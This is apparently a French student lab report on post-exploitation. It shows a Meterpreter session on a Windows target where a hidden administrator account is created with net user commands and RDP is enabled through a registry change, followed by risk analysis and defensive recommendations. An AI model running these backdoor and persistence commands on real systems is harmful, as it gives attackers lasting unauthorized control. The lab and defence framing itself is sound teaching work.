

TP 3.3 : Post-exploitation : Maintien d'accès et élévation de privilèges

I. Introduction

Ce TP se concentre sur la phase de post-exploitation, qui suit la compromission initiale d'un système. L'objectif est de démontrer comment un attaquant transforme un accès temporaire et potentiellement précaire en un contrôle durable et privilégié. Nous allons simuler la création de portes dérobées, l'élévation de privilèges et la mise en place de mécanismes de persistance sur les systèmes Linux (Ubuntu) et Windows précédemment compromis.

II. Maintien d'accès et élévation de privilèges sur Linux

Cette partie détaille les actions menées sur le serveur Ubuntu pour transformer un accès utilisateur standard en un accès administrateur persistant. Malheureusement je n'ai pas réussi accéder à la machine linux car ma version de vsftpd est 3.0.5 et metasploit a besoin d'une version vulnérable.

III. Maintien d'accès et élévation de privilèges sur Windows

Cette section détaille comment la session Meterpreter initiale est utilisée pour obtenir les droits maximum et créer un accès persistant via un compte administrateur local et le bureau à distance (RDP).

- Élévation de privilèges et création d'un utilisateur

Nous consolidons notre accès en obtenant les droits SYSTEM et en créant un compte utilisateur caché.

Dans Meterpreter :

```
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > shell
Process 5548 created.
Channel 1 created.
Microsoft Windows [version 10.0.19043.928]
(c) Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>net user supportadmin password123! /add
net user supportadmin password123! /add
La commande s'est terminée correctement.

C:\Windows\system32>net localgroup administrators supportadmin /add
net localgroup administrators supportadmin /add
L'erreur système 1376 s'est produite.

Le groupe local spécifié n'existe pas.

C:\Windows\system32>net localgroup administrateurs supportadmin /add
net localgroup administrateurs supportadmin /add
La commande s'est terminée correctement.
```

Interprétation : Ce nouveau compte supportadmin, membre des administrateurs, offre un second accès furtif, même si la session Meterpreter est détectée et fermée.

- Mise en place d'un accès distant persistant (RDP)

L'attaquant active le Bureau à Distance pour pouvoir se connecter graphiquement de manière furtive.

```
C:\Windows\system32>reg add "HKLM\System\CurrentControlset\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlset\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
L'opération a réussi.
```

· Résultat : Le compte supportadmin peut maintenant ouvrir une session de bureau à distance depuis Kali sur la cible Windows.

➤ Notion de discrétion et nettoyage

Un attaquant cherche à effacer ses traces. Dans Meterpreter, la commande suivante : la commande sessions. Son rôle est de lister les sessions actives est la première étape pour comprendre comment l'attaquant peut détecter qu'il est surveillé. L'objectif est de sensibiliser au fait que toutes les actions (création de compte, activation RDP) laissent des traces dans les journaux d'événements Windows, et qu'un attaquant avancé s'efforcera de les effacer.

```
meterpreter > sessions
Usage: sessions [options] or sessions [id]

Interact with a different session ID.

OPTIONS:
    -h, --help            Show this message
    -i, --interact <id>  Interact with a provided session ID
```

IV. Analyse des risques en contexte d'entreprise

Les manipulations effectuées simulent une phase de post-exploitation avancée, présentant des risques critiques pour une entreprise :

- Persistance de la menace (APT) : La création de comptes locaux privilégiés (backup admin, supportadmin) et la mise en place de clés SSH/RDP transforment une intrusion ponctuelle en une menace persistante (Advanced Persistent Threat - APT). L'attaquant peut rester des mois dans le système.
- Contournement des politiques de sécurité : L'activation non contrôlée de RDP et l'ajout d'utilisateurs au groupe administrateur contournent les politiques de groupe (GPO) et la gestion centralisée des accès.
- Mouvement latéral : Un accès administrateur local compromet la sécurité du poste de travail, mais sert surtout de point d'appui pour attaquer les serveurs de fichiers, les bases de données et le reste du réseau.
- Vol de données massif : Avec des privilèges élevés et un accès persistant, l'exfiltration lente et discrète de données sensibles (propriété intellectuelle, données clients) devient triviale.

V. Utilisation avancée des commandes et outils

➤ **Activation de RDP (Windows)**

Explication : Les deux commandes exécutées réalisent l'équivalent d'activer graphiquement "Bureau à distance" dans les propriétés système. La première modifie la clé registre critique, la seconde crée une exception dans le pare-feu.

Cas d'usage : RDP offre une expérience graphique interactive, plus pratique pour un attaquant que le shell Meterpreter pour explorer des interfaces métier, utiliser des outils graphiques d'administration ou exfiltrer des données par simple copier-coller.

VI. Recommandations de sécurité

Pour contrer ces techniques de post-exploitation, les mesures suivantes sont essentielles :

➤ **Empêcher la création de comptes non autorisés :**

- Surveillance des événements : Monitorer et alerter sur les événements de création de compte (ID 4720 sous Windows, logs /var/log/auth.log sous Linux).

Contrôle des applications : Utiliser des solutions de whitelisting (AppLocker, SELinux en mode strict) pour empêcher l'exécution de net.exe, useradd, ou de shells non standard par des applications bureautiques.

➤ **Lutter contre l'utilisation abusive de SSH :**

Désactiver l'authentification par mot de passe pour n'autoriser que les clés SSH.

Surveiller les connexions SSH : Tracer et alerter sur les connexions depuis des IP inhabituelles ou les connexions réussies avec des comptes de service.

Restreindre les adresses sources : Configurer le pare-feu pour n'accepter les connexions SSH que depuis des IP ou VLANs d'administration.

➤ **Contrôler l'activation de RDP :**

GPO centralisées : Forcer l'état désactivé de RDP pour tous les postes de travail via une stratégie de groupe, et n'autoriser l'accès distant que via des solutions d'assistance à distance sécurisées.

Alerter sur les changements : Surveiller les modifications de la clé registre HKLM\System\CurrentControlSet\Control\Terminal Server\DenyTSConnections et l'ajout d'exceptions au pare-feu.

VII. Conclusion

Ce TP a démontré que la compromission d'un système ne se limite pas à son intrusion. La phase de post-exploitation, dédiée à l'élévation de privilèges et à la mise en place de la persistance, est là où l'attaque prend sa véritable dimension de menace durable. La capacité d'un attaquant à se fondre dans l'activité normale du système, en créant des comptes légitimes et en activant des fonctionnalités d'accès distant, rend sa détection extrêmement difficile. Pour un défenseur, la compréhension de ces techniques est fondamentale. La sécurité ne se joue pas uniquement sur le front initial, mais surtout dans la capacité à surveiller en continu le comportement des systèmes et à détecter ces "anomalies légitimes" qui signalent une compromission en train de s'enraciner.